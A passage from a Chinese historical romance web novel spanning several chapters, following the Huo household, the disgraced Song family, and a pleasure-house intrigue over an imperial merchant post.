阿无否认道:“我可什么都没看着,怎么算是偷看呢!”
宋诺说:“又没人要偷我的钱,不必花这个钱了吧。”
阿无说:“你说你年纪也不大,怎么比咱们府里门房的大爷还要抠门呢!谁告诉你没人会偷,马上再过两月就要过年了,到时候府里下人们四处帮忙的,难免不会有人起歹心的。再说你就不怕我也惦记你的钱?”
宋诺说:“那听你的吧,买一把就买一把。你若要是缺钱了,同我说了,我会借给你的,你何必要偷。”
阿无欣慰地说:“哎呀,我平日里总算没有白疼你。”
宋诺说:“阿无哥,我今日上街给你买个新的钱袋吧,这个被我用了这么久了有些旧了。我买个新的给你,就当是我送你的新年礼物了。”
阿无说:“那大公子给你的银子你就不必收了,拿出来给我买个最好的钱袋子。”
宋诺说:“我还有零钱的,今天先用那个,我今天还要给师父买壶冬酒。其余的钱买了钱袋子和锁头之后,应该还有的剩我可以给你买你最爱吃的蜜饯。”宋诺把黑匣子仔细地放好。
阿无说:“呦,那今天就多谢阿诺你的关照了,哈哈哈哈!”
宋诺换好衣服,嫌弃地看了阿无一眼,自己先出了屋子,阿无紧随其后追着他,在前院的拐角处意外地碰上了正往后院走的霍岩,二人赶忙行礼问安。霍岩点头略过他们,继续向前走。
霍岩突然转头问道:“你这是要带他去哪?”霍岩停住脚步站在原地。
阿无上前回道:“今日公子说茶叶和宣纸用完了,小的上街采买,得了公子的允,可以带阿诺上街添置新的衣服,马上就要入冬了,这些都要提前准备。”
霍岩疑惑:“这些不都是府里定时发放的嘛,怎么会要你们自己准备?”
阿无有些无措地说:“因为阿诺是新来的,且年纪小,府里的发放物品还没有合适阿诺的尺寸,因是冬天不像夏天那般能凑合,所以报了公子,小的先带他买几件合适身的冬衣。”
霍岩说:“宋诺都来半年了,府里的采办发放还没有他的份?”霍岩不怒自威地看着阿无。
阿无惶恐地低下头,小心地回答:“许是因为阿诺不常出入,且年纪太小,下头的人不好准备。”
霍岩叹气,看着宋诺这个从前活泼的孩子,如今性子越来越沉默了,终究是不忍心。
霍岩问宋诺:“小阿诺,你来霍家这么久,可还习惯?”
宋诺抬头看着霍岩说:“一切都好,帝师不必担心。”
霍岩说:“没事你也可以出来走走,你从前不是和我家明毓时常一处玩耍嘛,现在同在一府更是方便,没事就去玩一玩。”
宋诺说:“如今公子亲自教我启蒙,还请了武师傅教我练武,很少有时间玩乐的。”
霍岩问:“公子,你说的是哪一位啊?”
宋诺说:“我如今是在四公子书房伺候,公子自然就指的是四公子。”
霍岩说:“伺候?他还真使唤你!”
阿无赶忙解释道:“没有的。阿诺平时除了跟着公子启蒙以外,也就是擦擦书案,其余时间他都是坐在书房台阶处发呆的书房没有太多事情的,老爷放心就是。”
霍岩说:“别跟着霍慎启蒙了,霍恒是书院先生,为人师表他最在行,我回头和他说一声,你去跟着他学吧。”
阿无说:“老爷,这恐怕不妥吧,当初说好的阿诺归我们公子处置,再说了阿诺如今是小厮,太大张旗鼓怕是不好。”
霍岩笑了笑说:“你们主仆倒是谨慎得很啊,好好的一个孩子被你们带的都变得沉闷了,还在这冠冕堂皇地狡辩。”
阿无情急之下说:“老爷,这小子精着呢,他都是装的,我们很好的,昨儿他还和我睡一个被窝,让我给他捂脚来着。阿无说完迅速低下头。不敢看霍岩。”
霍岩问宋诺:“他们对你还不错?”
宋诺说:“的确还不错。”话音未落,宋诺的肚子‘咕咕’叫了起来。
霍岩皱眉:“你今早没吃早饭?”
宋诺有些不好意思地红了脸说:“吃了半个菜馅儿包子。”
霍岩问:“他们都不让你吃饱的吗?”
阿无满脸委屈地说:“冤枉呀,我自己每月都要倒贴些月钱给这小子买吃食,从没苛待过他。我正准备带他上街去吃,您是不知道他有多能吃,我每月都要私下补贴他不少呢。”阿无忘我地抱怨着。
霍岩说:“既进了我霍
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家的门,霍家就不会让你自己贴补,回头我叫账房补给你。”
阿无摆手说:“其实公子也时常赏银子给我们的,我也就是买些小零嘴给他而已,毕竟是小孩子。”
霍岩说:“行了,你们去吧,早去早回吧。”
阿无行礼送走霍岩,顺利带着宋诺出府,二人深呼吸之后,相视一笑!
阿无带着宋诺在路边吃了馄饨,就去采买齐全所有想好要置办的东西,最后二人直奔成衣铺子,在店里看了许久都没有合适宋诺身量的成衣,正准备换一家继续看看时,转身看见宋氏婆媳泪眼婆娑地看着他们。
阿无也是惊讶极了,赶忙行礼说:“我今天正巧带着阿诺来采买新的冬衣,挑了许久都没有选到适合他的,不如夫人帮着一起看看吧。”
宋母说:“阿无小哥,你客气了,如今我们早已今非昔比,若你不嫌弃就叫我一声婶子吧。”
洪媛说:“阿诺还太小,自然在成衣铺挑不到合身的,要买了布匹按照尺寸自己做才妥当的。若是可以,我想亲自为阿诺做几件,阿无小哥你意下如何?”
阿无说:“如此再好不过了,那我今日就挑些布让婶子带回去,做好了我再来取。”
宋诺始终低着头不敢看自己的母亲和祖母,从前满身锦缎的人,如今变成粗布麻衣,头戴木簪,脸上毫无往日的容光。他不忍心看,也不想看一家人都如此狼狈的样子。
洪媛蹲下身,问宋诺:“好不容易才见上一面,你怎么一直低着头?你想要什么样式的衣衫,娘都给你做,你要不要自己看看布料?”
宋诺说:“不用了,就是寻常的棉麻布料就行,款式就照小厮常穿的样式来,别的我也穿不了。”宋诺抬头看着洪媛满眼悲戚。
宋母说:“马上快过年了,做一件好点的也不算出格,图个喜庆罢了。再做个两件日常穿的就行了,内里多放些棉花抗风又暖和。”
阿昙突然开口说:“其实你们也可以做几件皮毛的小袄,让他贴身穿,从外面是看不出来的,想要外穿你把外套在找棉麻布盖住就可以,针脚处理得细密点,把皮毛收住就是了。”
几人挑挑拣拣,最后付钱时,阿无说:“公子给了我们银钱花销的,不用婶子破费。”
宋母说:“阿无你付布料的钱,皮毛的钱我们来出,剩的钱就当是我们请你吃茶喝酒的,多谢你照顾我们阿诺。”
阿无说:“婶子,你太见外了,从前昔年小姐对我也是极为慷慨的,现在我只不过是投桃报李罢了,算不得什么,再说如今托了阿诺的福,公子对我们十分大方,于我也是有好处的。若是婶子真想感谢我,那姑娘说的袄子婶子帮我也做两件吧。”
宋母笑着说:“没问题。”
阿昙撒娇说:“那我也要,婶子可不能偏心,主意可是我出的。”
宋母说:“好好好,都有的。”
阿无看着阿昙撒娇的样子瞬间看直了眼,还是宋诺拉了他的衣角把他唤回了神。
因为宋母等人要回去做午饭,所以在问皮货铺子借了尺子量完阿无和宋诺的身量,约定了在乐章台临街的茶水铺子取成衣,三人就回去了。
在分别之前,宋诺和自己母亲说:“娘,我想要几个你做的钱袋子。”
洪媛摸着宋诺的头说:“我听你姑姑说了,我们阿诺也是每月有进项的小男子汉了。放心吧,娘给你多做几个换着带。”
宋诺今天心情很好,买了新的钱袋子和许多蜜饯给阿无,但还是机灵地要求阿无剩余的钱平分。
20. 第 20 章
日子就这么平淡地过着,宋昔年看着到乐章台寻欢作乐的各色男人们。久而久之,她也对男人有了重新的认识。有的男人口蜜腹剑、口是心非,有的男人两面三刀、翻脸无情,这些都不过是为了达到他们目的的手段,根本没有真心可言。男人们始终最看重的还是权力和金钱,情爱对于他们不过是无聊时的消遣。
今晚贺怜怜身着大红的衣裙,全身上下的珠翠钗环随着她的舞步叮当作响,与她平时的素雅清新截然不同。台下观看她表演的男人们都在为她一掷千金,想要争取今晚与她共度良宵的唯一机会。
一番较量下,最终白家的公子抱得美人归成为今晚的胜利者。
宋昔年陪着贺怜怜在屋内迎接白公子,他大步流星地进入贺怜怜房中,宋昔年规矩行礼,白公子一把揽过贺怜怜的腰肢,瞥了一眼行礼的宋昔年。
白家是京城里有名的布匹皇商,家底丰厚无比。这白公子名叫白天,是白家嫡长子,为人喜欢捧高踩低,凡事喜欢争强好胜,极要面子。今日就是他一时气盛,不惜花千两白银才入的美人帐。
贺怜怜给白天倒了杯酒,眉眼带笑地说:“今日公子一掷千金真是让怜怜受宠若惊,怜怜敬公子一杯。”贺怜怜举起酒杯先干为敬。
白天得意地说:“你是该好好感谢我,我今晚的价格,应该是你今年最高的价格了吧!我也算为你保住了今年你花魁的位子,你该怎么感谢我?”
贺怜怜说:“公子想要如何直说便是。”贺怜怜掩袖娇笑。
白天揽着贺怜怜让她侧身倚靠自己,他轻轻地拿起贺怜怜的一缕发丝,将它放于鼻尖嗅了嗅,置于手中把玩。宋昔年见状,默默地低下了头,往墙边站了站。
白天美人在怀之后,漫不经心地问道:“我听说,王家小侯爷之前总来捧你的场,你们很熟?”
贺怜怜说:“公子问这个做什么,我与小侯爷只不过是点头之交,谈不上熟悉的。小侯爷是皇亲国戚怎么会和我一介官妓有什么太深的交集呢!”贺怜怜有自嘲地说着。
白天说:“你倒是很有自知之明。不过,小侯爷能与你说话喝酒,想必对你多少是有些欣赏的。”
贺怜怜起身看着他说:“公子,今晚以重金博得一叙,原来不是为了风花雪月,而是有事相求啊!贺怜怜嗤笑。”
白天被她的这一笑激怒,双手捏住她的下巴,轻蔑地说:“我花千两在你身上,总要花得物超所值才行。若是你肯答应帮我约小侯爷出来一叙,我们再风花雪月也不迟的。”
宋昔年从白天提到王靖宇开始就一直悄悄关注,准备随时照应。
贺怜怜挣脱白天的桎梏,整理了衣裙,开口说:“公子,这是想把我吃干抹净?区区一千两怕是不够吧!”
仰天大笑着说:“哈哈哈,区区一千两?你不过也只是一个官妓,真当你是什么了不得的娇客了?以色侍人的玩意果然都没有一个好东西。”白天说完就甩了贺怜怜一个耳光。
宋昔年立马冲到贺怜怜身边,将她护在身后。
宋昔年开口问:“白公子,您这是何意?乐章台本就是有钱人的‘销金窟’贵公子的‘温柔乡’您虽重金花费但这并不是前所未有的不是嘛,更何况贺姑娘贵为花魁,乐章台姑娘之首,你这点银子不足为奇,您更不该动手打人。”
白天笑得更开心了,说道:“你是什么身份,敢和我这么说话,胆子当真是大得很。听说你是新来的?还是她从教坊司亲自挑选的,那为何总是纱遮面,不以真面目示人呢?”白天挑衅地看着宋昔年不怀好意。
宋昔年低下头,说道:“奴婢相貌丑陋,怕冲撞了贵客,所以才以纱遮面。”
白天听到此话,笑得越发放肆。指着宋昔年说:“你真是变了啊!”
宋昔年说:“你知道我是谁?”宋昔年不敢置地看着有恃无恐坐在自己面前的白天。
宋昔年和白天也是见过的,因看不惯白天仗势欺人,所以两人也算有过口角,宋昔年以前当众下过他的面子,害他出过丑。
宋昔年知道以白天睚眦必报的性格,自己今天绝对不可能全身而退,所以她果断摊牌,摘下了面纱。
宋昔年说:“我来了乐章台几个月了,你是第一个能让我主动摘下面纱的人。”
白天看见宋昔年黝黑带有斑点的脸,突然放声大笑说:“哈哈哈,你宋昔年也有今天,哈哈哈,从前都是你笑话讥讽于我,如今总算让我也看见你狼狈不堪的样子了,还真是大快人心呀!”
宋昔年不理会他的嘲笑:“笑够了,就说你的目的吧,你找王靖宇何事?”
白天的笑声戛然而止,说道:“我就知道,要找他先找你是最快最有效的,我的银子总算没白花。”
宋昔年此时恍然大悟,说道:“所以你之前的种种都是故意为之。哈哈哈,从前倒是我小看你了。”
白天说:“你不是小看我,只怕是之前我都没入过你的眼,你都不知道从前的你是多么讨厌,总是自以为是地判断一切。如今你自己都跌入深渊泥潭了,还是这么颐指气使高高在上。我真是好奇,你什么时候才能学会正真的低头。”
宋昔年说:“你还是怎么睚眦必报!”
白天说:“我爱睚眦必报那又怎样,我有睚眦必报的资本。不像你如今...”白天优雅地给自己倒了杯酒,心情极好地喝着。
宋昔年说:“你家的皇商位置不是很稳当的嘛,你向来和王靖宇都不对付,突然想通过我搭线见他究竟意欲何为?”
白天说:“人嘛,有时候总要为自己想要的东西争取,甚至放弃一些东西。比如尊严?”白天也表示无奈。
他越是这样说,宋昔年越是好奇,白天这人向来把面子看得极重,他不可能明知与王靖宇见面,必然会使他受王靖宇奚落还故意为之。
宋昔年说:“你既然这么笃定地来找我,想必不是为了一直吊我胃口的吧!”
白天看了一眼坐在一旁的贺怜怜,贺怜怜叹口气,敷衍地向白天行礼退出房间。出来的时候刚好碰见阿昙。
阿昙问:“姑娘不在里面陪着,怎么出来了?”
贺怜怜说:“用不着我了,我落个清静不好嘛!”
阿昙说:“姑娘,你的脸怎么了?诶,年姐姐人呢?”
贺怜怜眼神瞟了一眼自己的房间,阿昙瞬间不可思议地张大了嘴,又立马自己捂住。
贺怜怜说:“别瞎想,他们只是在里面说事情,我不方便听就先出来了。”
阿昙明白地点了点头,亲昵的框上了贺怜怜的胳膊,说道:“既然这样那姐姐不如同我回下院看看宋婶子她们特意为你做的新护手和大氅吧,在这干站着多丢人啊!”阿昙小声地和她耳语。<
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p>贺怜怜觉得也是,如果被秦珍珍她们瞧见又要在背后胡乱编排自己。于是,她与阿昙一起走了。
屋内,宋昔年与白天相对而坐,宋昔年抱臂,说:“现在就你我二人了。你可以畅所欲言了!”
白天说:“别急啊,你就不想和我叙叙旧?”白天给自己和宋昔年都倒了杯酒。
宋昔年说:“以我们的交情应该没有旧可以叙吧,只有不愉快可以谈,但你方才已经对我多番讥讽取笑了,还不解气嘛?”
白天举杯作势敬酒于她,说道:“这就受不了了?我答应你,只要你助我成事,我们从此一笔勾销,忘了从前的不愉快。”
宋昔年说:“你先说说看,我思量思量后给你答复。”
白天说:“我想让小侯爷答应我让白家继续做皇商。”
宋昔年说:“你白家现在不就是皇商,为何还需他的承诺?”说完室内寂静无声。
宋昔年皱眉说:“你是如何知晓的?”
白天面带笑容地回答道:“你这么说就说明我猜得没错了。”
宋昔年说:“猜!你是疯了吗?这种事你也敢猜,还想提前布局。你还说我自以为是,我看你才是胆大妄为。”
白天说:“我也不想啊,但没办法,人生就是要不断地选择。选对了赌对了,荣华富贵唾手可得,选错了赌错了,万贯家财化为乌有罢了!”
宋昔年说:“你这么做你爹知道吗?这可不是小事。”
白天自信地说:“等我成功了,他自然会知道的。”
宋昔年:“你就这么笃定你能成功,就算王靖宇肯为你家作保举荐,但是都有万一,那你的所有提前准备不就人财两空了。更何况你和王靖宇如此不对付,他未必会肯帮你的”
白天说:“我和小侯爷之间并无什么深仇大恨,只要你肯开口为我美言,他必定会答应的。”
白天看宋昔年还是无动于衷,便又说道:“你也知道,皇位更替就意味着所有一切都要重新洗牌,一朝天子,一朝臣这无可厚非。届时,身为新帝近亲的小侯爷一家,一定会备受信任,所以只要小侯爷肯举荐作保,白家的皇商位置一定能保住。”
宋昔年说:“帮你对我有何好处?”
白天说:“就怕你不和我谈条件,明码标价才会让彼此合作得更安心愉快!”
宋昔年反驳道:“你误会了,我不是这个意思,我是说...”
白天制止宋昔年,说道:“我是这个意思,再说了依你现在的身份钱是你为你能抓住的东西了。倘若将来你...那就更是锦上添花,横竖你都不吃亏的。”
宋昔年迟疑片刻,感觉他说得也对,有钱才是硬道理。
宋昔年说:“那你打算给我多少?”宋昔年朝白天伸手。
白天说:“等我和小侯爷见了面,他答应了帮我,到时候我们再坐下好好谈。放心,绝对会让你满意!”
他从腰间钱袋里掏出一个小巧的金锭子放在宋昔年掌心,说:“这就当作是我给你的定金吧。”
白天起身准备告辞,宋昔年问他:“你是如何知道宫里的事的?我不信你能完全凭空猜测,还有你怎么会知道我在这里?”
白天保持起身的姿势,看着宋昔年的眼睛认真地说:“皇城脚下,何来秘密可言!你慢慢猜吧!”他走后,宋昔年久久不能平静。
21. 第 21 章
今日霍慎休沐,这是他第一次任职休沐,按照霍家以往惯例都会在第一次休沐时,去给霍岩请安,霍慎收拾妥当就往霍岩的院子去。
进了院子霍慎发现自己的五弟霍悟也在,他正喝着茶无聊地东张西望。霍悟转头看见霍慎走进来,他朝着霍慎挑了挑眉,霍慎淡淡看他一眼,找了个椅子坐下等着霍岩出来。
在霍家一般没有客人的话,霍家自己人有事都是在霍岩的院子里,霍岩进入小厅看见两个孙子都在,便开口说:“你们没事能一起出现还真是少见得很。”
霍慎霍悟二人对视,又迅速移开目光。
霍岩见状只是笑笑,说道:“老五,你先说说吧,这一大早的你过来有什么事?你向来都是‘无事不登三宝殿’你这次又要干嘛!”
霍悟不服气地说:“祖父您怎么能怎么说我,我这次可是有正事的。”
霍慎好奇地问:“你能有什么正事?”
霍悟说:“就许你光耀门楣,我就不能有我自己的理想抱负了?别以为你现在入了翰林院有什么了不起,哼!”
霍慎回击说:“是没什么了不起,但这个家里现在唯一真正踏上仕途的是我而不是你!”
霍岩被吵得头疼,立马制止他们,说道:“行了,唇枪舌剑的要不要出去打一架?”
“哈哈哈,他们兄弟俩向来如此,你又何必上火。”寻着话音,一位身穿绿色锦缎的妇人,头上只簪了简单大气的翡翠簪子。缓步进入厅中,来人正是霍岩嫡妻崔玉竹。
霍慎见到她立马起身行礼,霍悟却坐在椅子上说:“哼,我还在生气呢,祖母带着东西来可是为了哄我消气!”
崔玉竹说道:“我可没有要哄你,这些衣裳也不是给你的,是给勤之的,你可别自作多情了。”
霍悟瞬间尴尬,嘴上却不肯罢休地说:“如今,祖母是不疼我了,瞧着四哥有出息就更疼四哥了。”
霍慎听了这话,说道:“谁叫你自己不争气,没出息还想要人疼!”霍慎起身谢过崔玉竹,让阿无接过托盘。
崔玉竹笑着说:“你如今已经入仕,是该穿得体面些,我们霍家虽不喜奢靡铺张,但基本的衣冠体面还是要的。我已经吩咐账房,你今后的花销用度和你大哥二哥一样,只要合理就没有限制,只管支取便是。”
霍悟听到这话气得从椅子上站了起来,大声问道:“凭什么他可以不受限,我就要被缩减!不公平,太不公平了。家里现在大的孩子,就属我和三哥在银钱用度上还有限制。”
霍岩说:“我们可没有限制你三哥的花销,他自己有产业进项也用不上府里额外补贴,他是你们兄弟几个中,最早上交进项的。如今说起来,也就老五你没有进项上交于公中了。”
霍悟听这话羞愧地转身走了,剩下三人面面相觑,哈哈大笑!
崔玉竹说:“你们祖孙聊吧,我也走了。”
霍岩把霍慎叫到近前坐下,说:“如今你已经入了翰林院成了编修,后面有什么打算?”
霍慎说道:“打算谈不上,紧要的是先做好眼前的事。”
霍岩说:“你有主意就好,你一直都是很有成算,也很知道自己要什么的。”
霍慎说:“那祖父若是没有别的吩咐,我就先回去了。”霍慎行礼告退。
回到书房,霍慎问阿无:“舅爷他们还未回来吗?”
阿无说:“没有,此次估计是舅老爷亲自带消息回来,不会提前有消息回来了。我前几天看见之前常给我们捎信的小哥,上去打听了说这次并没有舅老爷的消息要带回。”
霍慎拿着绿瓷杯边把玩边思考,说:“若是这样,那....对了,这几日王家小侯爷有没有去找她?”
阿无说:“自从小侯爷被带回去,听说已经多日不曾出门了,更别说去乐章台了。”
霍慎说:“过几日,就是我祖母的生辰了,想必舅爷他们也在这几日回来,我让你准备的东西你提前准备了吗?”
阿无:“公子放心,一切都早准备好了,不会有纰漏的。”
霍慎说:“我想先回房睡会,你下去吧!”
霍慎这几日都没休息好。回到房中躺在床上又睡不着,他睁眼看着床顶。突然想起,那次他与宋昔年和衣相拥而眠的场景。
景元九年初夏,不久之前,霍宋两家长辈定下了二人婚约,所以宋昔年时常来找霍慎,但因还是要注意男女大防,宋昔年与霍慎相见都是在书房,且有阿无和安眠都在场。
这日霍慎他因感染风寒还没痊愈,身上乏力犯懒不想起床,宋昔年才第一次进入他的卧房。宋昔年是个好奇跳脱的性子,她进了卧室左看看右瞧瞧问东问西,搞得跟在她身边的贴身婢女安眠都尴尬不已,在宋昔年莫名其妙的一系列问题中,原本毫无睡意的霍慎居然睡着了。
宋昔年贴心地让阿无他们都出去,但自己却厚着脸皮没有走,就趴在床边看着霍慎的睡颜。
宋昔年越看越上头,在内心窃喜感叹:“我的眼光真是好,满京城都找不到这么俊俏的男子了。”
她用手轻戳霍慎的脸颊,说道:“我就说你逃不出我的手掌心,你还不信,怎么样还是我赢了吧!你读书好再聪明有何用。他们都说‘强扭的瓜不甜’但是他们都忘了就算是个不甜的瓜,那也是我的瓜,我要的只是‘好看的瓜’甜不甜的都不重要!”
自言自语一番后,她居然大胆地拉住霍慎的手,不久后困意上涌,她干脆爬上霍慎的床与他保持距离和衣而卧。
不知过了多久,霍慎睁眼醒来,发现宋昔年不知为何在自己怀里,她居然还睡着了。霍慎仔细打量宋昔年,她今日穿了件青色的纱裙,极为符合夏天的气候,让看见她的人都觉得初夏仿佛没有多热了。
霍慎紧张地拥着宋昔年,不敢轻易挪动,怕惊醒她,到时候大家都尴尬。霍慎在想自己
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是何时睡着的,明明之前毫无困意的。
没过多久,宋昔年还是醒了,开口说:“你太吵了!”宋昔年揉揉眼睛并没有睁开。
霍慎一脸茫然,说道:“我在此之前并未出声,你为何这样说?”
宋昔年摸了摸霍慎心脏的位置,笑着说:“你的心跳声太大了,把我吵醒了!”两人四目相对,距离很近,近到可以在对方的瞳孔里清楚地看见自己的倒影。霍慎突然反应过来,想推宋昔年下床,但宋昔年先一步抓住了霍慎的手臂,两人陷入僵持中。
宋昔年得意地说:“我就知道你想要推开我,我自己会下床的,你又何必推我!”
霍慎说:“你身为女子,怎可私自上别人的床!”
宋昔年说:“什么叫别人,我们现在有婚约,迟早是要做夫妻的,你何必这么抵触。你若介意我下次注意就是了,今日是实在太困,所以才不得已而为之的。”宋昔年坐起准备下床。
霍慎冷笑嘲讽道:“即使我们将来是夫妻,可现在还不是,你就不能这样。什么不得已而为之,我看你时早有预谋故意为之吧。”
宋昔年很不喜欢霍慎这副傲娇的样子,转头对他说:“你说我是故意,那我就让你看看什么是真正的故意。”说完又重新躺回床上,在霍慎反应不及时,钻入他的怀里,双手紧紧抱住他的腰。
宋昔年在他怀里蹭了蹭,说道:“这才叫故意为之!”她抱得很紧,勒得霍慎都喘不过气,霍慎举起双手,不敢触碰宋昔年。
霍慎试了许多方式想让宋昔年放开自己,宋昔年说:“我是故意亲近你,怎舍得轻易放手呢!”
最终霍慎无计可施,只能认错。说道:“是我失言,冤枉了你,对不起!你我现在毕竟还未正式成婚,这样实在于理不合,你还是先放开我吧,等会儿阿无他们进来瞧见多不好。再说若是这事不慎传到长辈们耳中,那你以后想再自由出入与我相见,只怕是没有如今这么容易了。你可真的想清楚了?”
宋昔年抱着霍慎,问道:“那你可信我真的不是故意的了?我可没你这么深的心思,总把人想这么坏。”
霍慎说:“是是是,我心机最深,你单纯善良,能不能不和我计较了?”
宋昔年放开霍慎,翻身下床,整理了睡皱了的衣裙,在霍慎面前转了一圈,问道:“我新做的衣裙,好看吧!”
霍慎说:“好看的,很衬你。”
阿无推门而入,问宋昔年是否要留下来吃晚饭。宋昔年原本想要答应,可她瞧见门外的安眠对她摇头,想了想的确不妥就拒绝了。
她回头对霍慎说:“你歇着吧,我走了,改天再来找你。”
霍慎点头,看着宋昔年的身影在转身出门之际,突然变成一袭红衣,缓缓开门想要离去。霍慎立即下床,想要追过去留住她。
这时房门被敲响,门外传来了阿无的声音,霍慎也从梦中清醒,头痛欲裂!
22. 第 22 章
霍慎打开门,阿无焦急地上前说:“公子不好了,刚五公子的小厮,大福和我说,五公子在乐章台喝得大醉,想要在那留宿。大福吓得立马回来找人帮忙。”
霍慎用手扶额,疲惫地说:“三叔他们不知道吗?”
阿无说:“不知呢,今天老爷有几位旧时的学生前来拜访,几位爷和大少爷都在前厅作陪。大福不敢莽撞行事,二公子的性格您也知道,三公子外出盘账也还未归他就直接来找公子您了。”
霍慎叹气说道:“你去套马车,我先回房换件衣服。”
阿无转身就走,霍慎又说:“哎,你记得把马车停在府后小门,找个正当理由随便搪塞一下。”
阿无说:“公子放心,小的明白!
霍慎回房找衣服,无意间瞟到还未来得及收入衣柜衣服,是嫡祖母今日给他的那件。月白的锦缎为底,面上在不起眼处,用金线绣有吉祥样式的花纹,里衬是用同色软绸特意加过的,低调却不寒酸,体面又体贴,很符合霍府的一贯风格。
霍慎决定就穿这件出门,上车后霍慎开口问:“你可知老五此次是为何?”
大福不敢有所隐瞒,踌躇说道:“今日从老爷院子离开之后,公子回房自己待了许久,之后出来就说出去转转。去了常去的酒楼吃完午饭,要走时,恰巧碰见户部侍郎家的柳二公子。两人又坐下聊了许久,柳二公子见我们公子郁郁寡欢,就提议再去乐章台找点乐子。”
霍慎皱眉问道:“你家公子他时常去乐章台?”
大福感觉霍慎的声音森冷无比,无自觉地打了个哆嗦。不知是坐在车外被风吹的还是被霍慎的语气吓到。
大福说:“从前虽常去,但都是在大厅处,寻个座位看看花魁、官妓姑娘们跳跳舞,从未有过今天这种情况。兴许是公子今天心情不好,吃醉了酒,再加上柳公子相邀,所以才一时兴起了吧。”
霍慎本就头疼,再加上马车颠簸,他真的觉得自己烦躁极了,听了大福狡辩维护的话,瞬间火气压制不住。
霍慎说:“自己花钱如流水,有什么脸和家里闹情绪,自己立身不正还有好意思拿别人作借口。他可真是既无能,又没担当。就他这样,根本配不上他的名字,更不配做霍家人!”也许是怒到了极致,霍慎的言语也有些过激。
到了乐章台门口,霍慎阴着脸下车,说道:“带路吧。”
大福不敢耽搁,迅速走在前面,霍慎满身的森冷气息,使得乐章台的迎接姑娘都不敢上前,有几个胆大的已经在一旁窃窃私语了。
来到雅间门口,大福上前敲门,很快里面传来脚步声,一个面容姣好的姑娘打开了门,霍慎进屋就看见,霍悟左拥右抱,瞧着他那纨绔浪子的做派,霍慎觉得好笑。
霍悟醉醺醺地指着站在房间中央的霍慎,说道:“二少,你不是说没有另外约人嘛,怎么又来一个,他是谁啊?”
柳二公子也是醉意朦胧地说:“管他是谁,既然来了坐下喝酒,大家都是朋友!”柳二公子站了起来。走到霍慎身侧,一把搂住霍慎肩膀,豪气地说:“朋友既然来了就别客气,今天我请客!”
霍慎看了他一眼,说道:“户部侍郎的二公子就是豪气啊。”
柳二公子一听,瞬间高兴地说:“原来兄弟你认识我呀,那就更不必客气了!”
霍悟此时不停地被两个官妓左右轮流喂酒,喝得七荤八素,柳二公子瞧着他有些嫌弃地对霍慎说:“你瞧见了嘛,这个胡吃海喝的我都请得起,兄弟你也不必拘束。”
霍慎对着霍悟说:“你听见了吗?人家嫌你打秋风了,你还要继续待在这儿?”
霍悟听着这声音有些耳熟,便转头看了看,说道:“哎,看来我真的是喝多了,我居然把他看成我那不可一世的四哥了,哈哈哈!”
柳二公子也仔细瞧了瞧,对霍悟说道:“霍五,他好像真的是你四哥!哈哈哈,你完了,被捉个正着。”
霍悟瞬间推开要喂他酒的官妓,想要站起来,但试了几次都没能成功,大福这才大着胆子,弓着腰快速进来搀扶起霍悟,但是他实在喝得太醉了,大福一人不足以支撑他。
霍慎见状,开口说:“阿无,你也进来帮忙吧。”
在阿无和大福的支撑下,霍悟终于站了起来,问道:“四哥,你怎么来了,家里....”
霍慎说:“听说你扬言要在乐章台过夜,所以我就来看看是什么把你迷得乐不思蜀了。”
霍悟急于解释说:“不是的,今日...偶遇...柳二公子,他非要请客,所以一时不慎喝得多了些,我是要回去的。”
一旁的柳二公子听了,竟然笑弯了腰,起身之后,指着霍悟开口说:“我非要请客?哈哈哈,你堂堂帝师嫡孙,赖上我白吃一顿也就罢了,居然还敢当着我的面红口白牙的污蔑我!哈哈哈,都说读书人假清高,真虚伪,我今天算是见识了。霍悟你改名叫‘废物’得了!前有哥哥为利,舍新妇,后有弟弟为名,弃担当!哈哈哈,帝师霍家又如何,不过如此。”
霍悟听了这话,就要上前和柳二公子理论,柳二公子的小厮见情况不妙,立马小跑进屋内,说道:“二位霍公子见谅,我家公子今日酒吃得实在是太多了,说的都是醉话,我替他给二位公子先赔个不是,二位别计较!”
霍慎虽然脸黑,但还是说:“今日已经劳烦柳公子陪着霍悟疯了半天,自然不好再让柳公子破费了,柳公子在乐章台的花费都算霍家的,我先带霍悟回府了,柳公子大可玩个尽兴。”
霍慎走在前面,霍悟被架着走在后面,霍悟气不忿还想再说什么,霍慎突然回头对着霍悟说:“他有句话说得没错,你的确是个废物!”
霍悟也彻底放弃辩解,说道:“我再是废物,也是你弟弟,你能怎样!”言语中居然颇有挑衅的意思。
霍慎不理他转身下楼,临走时把雅间的费用
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给结了,在等待结账时,霍慎无聊地四处环视,突然他心跳漏了一拍,在斜上方看见一个熟悉的身影。她穿着紫灰的棉麻衣裙,同色面纱遮脸,跟在一个容貌清丽却身材凹凸有致的女子后面缓行,进入房间。她虽然穿得朴素且看不见脸,但是霍慎还是很确定,那人就是每晚出现在梦里不断折磨他的—宋卿云。
霍慎陷入沉思,那负责结账的伙计叫了半天,霍慎都置若罔闻。最后还是阿无上前,推了推他,霍慎才有反应,付了钱带着他们离开乐章台。
上了车,霍慎拿起车内小几上的茶壶直接就仰头喝了起来,茶水早已凉透,但正适合现在的霍慎,一阵豪饮过后,霍慎平静了不少。他又看向四仰八叉坐在对面的霍悟,就把没有喝完的茶水优雅地倒在杯中,然后使劲地泼向霍悟。把醉酒的霍悟吓得瞬间清醒。
霍悟清醒之后,入眼的就是霍慎黑沉的脸,他下意识调整坐姿,低头理了理衣服。
霍慎冷冷开口:“看来你如今是清醒了。”
霍悟理屈词穷地说:“嗯哼,嗯哼,怎么是你来了?”
霍慎觉得好笑,反问他:“不是我来,你希望是谁来?”
霍悟说摸了摸鼻子说:“我以为会是大哥来接我。”
霍慎盯着他说:“幸好今天是我来了,若是换作霍家任何一个人来,你今天回去必定会被请家法。打完之后再去跪祠堂,你信不信!”
霍悟满脸自信地说:“怎么可能,我就是吃醉了酒,并未做什么败坏家风的事,你休想趁我喝醉故意诓骗!”
霍慎对外面驾车的阿无说:“走慢点!”霍慎转头拿起小灶上的水壶往空了的茶壶加着热水。
霍慎说:“你说得没错,不管你做了什么,你始终是我弟弟,这一点永远不会变,即使我如此看不惯你,还是会替你收拾残局!”回头递了一杯热茶给霍悟,霍悟受宠若惊的双手接过。
霍悟说:“四哥,我今日到底....”
霍慎说:“你当着不记得了,哎,不记得就算了吧。你只需要记得以后别再随便叫人请客就好,‘天下没有免费的午餐,不要钱的才是最贵的。’”
霍悟大脑快速回忆,“那柳二真是可恶,‘打人不打脸,揭丑不揭短。’他怎么能说出那种话,当真是半点脸面不给我们留。”
